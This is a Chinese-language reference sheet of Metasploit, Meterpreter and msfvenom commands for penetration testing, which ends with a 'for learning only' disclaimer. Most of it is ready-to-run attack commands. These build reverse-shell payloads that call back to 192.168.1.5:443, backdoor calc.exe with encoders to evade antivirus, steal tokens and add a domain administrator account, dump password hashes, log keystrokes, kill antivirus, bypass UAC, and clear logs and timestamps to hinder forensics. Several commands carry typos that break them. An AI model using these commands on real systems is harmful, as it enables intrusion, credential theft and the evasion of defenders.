前言
本文详细介绍了metasploit框架的各种接口与程序中最常用的命令和语法参考,以及metasploit后渗透命令参考
0x01.MSF终端命令
- show exploits
列出 Metasploit 框架中的所有渗透攻击模块。 - show payloads
列出 Metasploit 框架中所有的攻击载荷。 - show auxiliary
列出 Metasploit 框架中的所有辅助攻击模块。 - search name
查找 Metasploit 框架中所有的渗透攻击和其他模块。 - info
展示出制定渗透攻击或模块的相关信息。 - use name
装载一个渗透攻击或者模块(例如:使用 windows/smb.psexec)。 - LHOST
你本地可以让目标主机连接的 IP 地址,通常当目标主机不在同一个局域网内时,就需要是一个公共的 IP 地址,特别为反弹式 shell 使用。 - RHOST
远程主机或是目标主机。 - set function
设置特定的配置参数(例如:设置本地或远程主机参数)。 - setg function
以全局方式设置特定的配置参数(例如:设置本地或远程主机参数)。 - show options
列出某个渗透攻击或模块中所有的配置参数。 - show targets
列出渗透攻击所支持的目标平台。 - set target num
指定你所知道的目标的操作系统以及补丁版本类型。 - set payload payload
指定想要使用的攻击载荷。 - show advanced
列出所有高级配置选项。 - set autorunscript migrate -f
在渗透攻击完成后,将自动迁移到另一个进程。 - check
检测目标是否对选定渗透攻击存在相应安全漏洞。 - exploit
执行渗透攻击或模块来攻击目标。 - exploit -j
在计划任务下进行渗透攻击(攻击将在后台进行)。 - exploit -z
渗透攻击成功后不与会话进行交互。 - exploit -e encoder
制定使用的攻击载荷编码方式(例如:exploit -e shikata_ga_nai)。 - exploit _h
列出 exploit 命令的帮助信息。 - sessions -l
列出可用的交互会话(在处理多个 shell时使用)。 - sessions -I -v
列出所有可用的交互会话以及会话详细信息,例如:攻击系统时使用了哪个安全漏洞。 - sessions -s script
在所有活跃的 Meterpreter 会话中运行一个特定的 Meterpveter 脚本。 - sessions -K
杀死所有活跃的交互会话。 - sessions -c cmd
在所有活跃的 Meterpreter 会话上执行一个命令。 - sessions -u sessionID
升级一个普通的 Win 32 shell 到 Meterpreter shell。 - db_create name
创建一个数据库驱动攻击所要使用的数据库(例如:db_creat autopwn)。 - db_connect name
创建并连接一个数据库驱动攻击所要使用的数据库(例如:db _connect autopwn)。 - workspace
列出当前连接的数据库中所有的工作空间。 - workspace name
使用指定的工作空间。 - workspace -a name
创建一个工作空间。 - workspace -d name
删除指定的工作空间。 - workspace -D
删除所有的工作空间。 - workspace -r old new
重命名工作空间。 - db_nmap
利用 nmap 并把扫描数据存储到数据库中(支持普通的 nmap 语法,例如:-sT-v-Po)。
0x02.Meterpreter命令
- help
打开 Meterpreter 使用帮助。 - run scriptname
运行 Meterpreter 脚本,在 seripts/meterpreter 目录下可查看到所有脚本名。 - sysinfo
列出受控主机的系统信息。 - ls
列出目标主机的文件和文件夹信息。 - use priv
加载特权提升扩展模块,来扩展 Meterpreter 库。 - ps
显示所有运行进程以及关联的用户账户。 - migrate PID
迁移到一个指定的进程 ID(PID 号可通过 ps 命令从目标主机上获得)。 - use incognito
加载 incognito 功能(用来盗窃目标主机的令牌或是假冒用户)。 - list_tokens -u
列出目标主机用户的可用令牌。 - list_tokens -g
列出目标主机用户组的可用令牌。 - impersonate_token DOMAIN_NAMEN\USERNAME
假冒目标主机上的可用令牌。 - steal_token PID
盗窃给定进程的可用令牌并进行令牌假冒。 - drop_token
停止假冒当前令牌。 - getsystem
通过各种攻击向量来提升到系统用户权限。 - shell
以所有可用令牌来运行一个交互的 shell。 - execute -f cmd.exe -i
执行 cmd.exe 命令并进行交互。 - execute -f cmd.exe -i -t
以所有可用令牌来执行 cmd 命令。 - execute -f cmd.exe -i -H -t
以所有可用令牌来执行 cmd 命令并隐藏该进程。 - rev2self
回到控制目标主机的初始用户账户下。 - reg command
在目标主机注册表中进行交互,创建,删除,查询等操作, - setdesktop number
切换到另一个用户界面(该功能基于哪些用户已登录)。 - screenshot
对目标主机的屏幕进行截图。 - upload file
向目标主机上传文件。 - download file
从目标主机下载文件。 - keyscan_start
针对远程目标主机开启键盘记录功能。 - keyscan_dump
存储目标主机上捕获的键盘记录。 - keyscan_stop
停止针对目标主机的键盘记录。 - getprivs
尽可能多的获取目标主机上的特权。 - uictl enable keyboard/mouse
接管目标主机的键盘和鼠标。 - background
将你当前的 Meterpreter shell 转为后台执行。 - hashdump
导出目标主机中的口令哈希值。 - use sniffer
加载嗅探模块。 - sniffer_interfaces
列出目标主机所有开放的网络接口。 - sniffer_dump interfaceID peapname
在目标主机上启动嗅探。 - sniffer_start interfaceID packet-buffer
在目标主机上针对特定范围的数据包缓冲区启动嗅探。 - sniffer_stats interfaceID
获取正在实施嗅探网络接口的统计数据。 - sniffer_stop interfaceID
停止嗅探。 - add_user username password -h ip
在远程目标主机上添加一个用户。 - add_group_user “Domain Admins” username -h ip
将用户添加到目标主机的域管理员组中。 - clearev
清除目标主机上的日志记录。 - timestomp
修改文件属性,例如修改文件的创建时间(反取证调查)。 - reboot
重启目标主机。
0x03.MSFvenom命令
- msfvenom -h
MSFvenom 的帮助信息。 - msfvenom -I payloads
列出所有可用的攻击载荷,payloads 可以替换为 encoders、nops、all,作用分别为列出所有可用的编码器/空指令生成器/全部模块。 - msfvenom -p windows/meterpreter/bind_tcp --payload-options
列出所有 windows/meterpreter/bind_tep 下攻击载荷的配置项(任何攻击载荷都是可以配置的)。 - msfvenom --help-formats
列出生成的载荷所有可选的保存格式。 - msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=443 -f exe -o payload.exe
创建一个 Meterpreter 的 reverse_icp 攻击载荷,回连到 192.168.1.5 的 443 端口,将其保存为名为 payload.exe 的 Windows 可执行程序。 - msfvenom -p windows/meterpreter/reverse_tcp LHOST-192.168.1.5 LPORT-443 -e x86ishikata_ga_nai -i 5 -f exe -o encnded_payload.exe
导出一个名为 encoded_payload.exe 的文件。在与上面同样的攻击载荷的基础上,使用 shikata_ga _nai 编码器对载荷进行 5 次编码,然后导出一个encnded_payload.exe的文件。 - msfvenom -p windows/meterpreter/bind_tcp LPORT=443 -e x86/_countdown -i 5 -f raw I msfvenom -e x86/shikata_ga_nai -i 5 -f exe -o multi-encoded_payload.exe
创建一个经过多种编码格式嵌套编码的攻击载荷。 - msfvenom -p windows/meterpreter/reverse_tcp LHOST-192.168.1.5 LPORT=443 BufferRegister=ESI -e x86/alpha_mixed -f c -o padload.c
创建一个纯字母数字的 shellcode,由 ESI 寄存器指向 shellcode,以C语言格式输出。
0x04.MSFvenom高级命令
- msfvenom -P windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT-443 -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai-i7 -f exe
创建一个反弹式的 Meterpreter 攻击载荷,回连到 192.168.1.5 主机的 443 端口,使用 calc.exe作为载荷后门程序,让载荷执行流一直运行在被攻击的应用程序中,最后生成以.shikata_ga_nai编码器编码后的攻击载荷可执行程序 payload.exe。 - msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT-443 -x calc.exe -o payload.exe -e x86/shikata_ga_nai -i 7-f exe
创建一个反弹式的 Meterpreter 攻击载荷,回连到 192.168.1.5 主机的 443 端口,使用 calc.exe作为载荷后门程序,不让载荷执行流一直运行在被攻击的应用程序中,同时在攻击载荷执行后并不想让计算器程序打开呈现在目标用户面前。同样,最后生成用.shikata_ga_nai 编码的攻击载也不会在目标主机上弹出任何信息。这种配置非常有用,当你通过浏览器漏洞控制了远程主机,荷程序 payload.exe。
0x05.Meterpreter 后渗透命令
- 在 Windows 主机上使用 Meterpreter 进行提权操作。
meterpreter > use priv
meterpreter > getsystem
- 从一个给定的进程 ID 中窃取一个域管理员组令牌,添加一个域账户,并把域账户添加到城管理员组中。
meterpreter> ps
meterpreter > steal_token 1784
meterpreter > shell]
C:Windows\system32>net group "Domain Admins" metasploit /ADD /DOMAIN
C:Windows\systems2>net user metasploit p@55word /ADD /DOMAIN
- 从 SAM 数据库中导出密码的哈希值。
meterpreter'S use priv
meterpreter > getsystem
meterpreter > hashdump
提示:在 Windows 2008 中,如果 gelkysiem 命令和 hashdump 命令抛出异常情况时,你需要迁移到一个以 SYSTEM 系统权限运行的进程中。
- 自动迁移到一个独立进程。
meterpreter > run migrate
- 通过 Meterpreter 的 killav 脚本来杀死目标主机运行的杀毒软件进程。
meterpreter 〉 run killav
- 针对一个特定的进程捕获目标主机上的键盘记录。
meterpreter >ps
meterpreter > migrate 1436
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop
- 使用匿名方式来假冒管理员。
meterpreter> use incognito
meterpreter > list_tokens -u
meterpreter > use priv
meterpreter > getsystem
meterpreter>list_tokens -u
meterpreter >impersonate_token IHAZSECURITY\\Administrator
- 查看目标主机都采取了那些防护措施,列出帮助菜单,关闭防火墙以及其它我们发现的防护措施。
meterpreter > run getcountermeasure
meterpreter 〉 run getcountermeasure -hi
meterpreter 〉 run getcountermeasure -d _ki
- 识别被控制的主机是否是一台虚拟机。
meterpreter > run checkvm
- 在一个 Meterpreter 会话界面中使用 cmd shell。
meterpreter 〉 shell
- 获取目标主机的图形界面(VNC)。
meterpreter 〉 run vnc
- 使正在运行的 Meterpreter 界面在后台运行。
meterpreter> background
- 绕过 Windows 的用户账户控制(UAC)机制。
meterpreter 〉 run post/windows/escalate/bypassuac
- 导出苹果 OS-X 系统的口令哈希值。
meterpreter 〉 run post/osx/gather/hashdump
- 导出 Linux 系统的口令哈希值。
meterpreter > run post/linux/gather/hashdump
总结
本文详细介绍了metasploit框架在渗透过程中的常用命令及语法参考,仅供学习。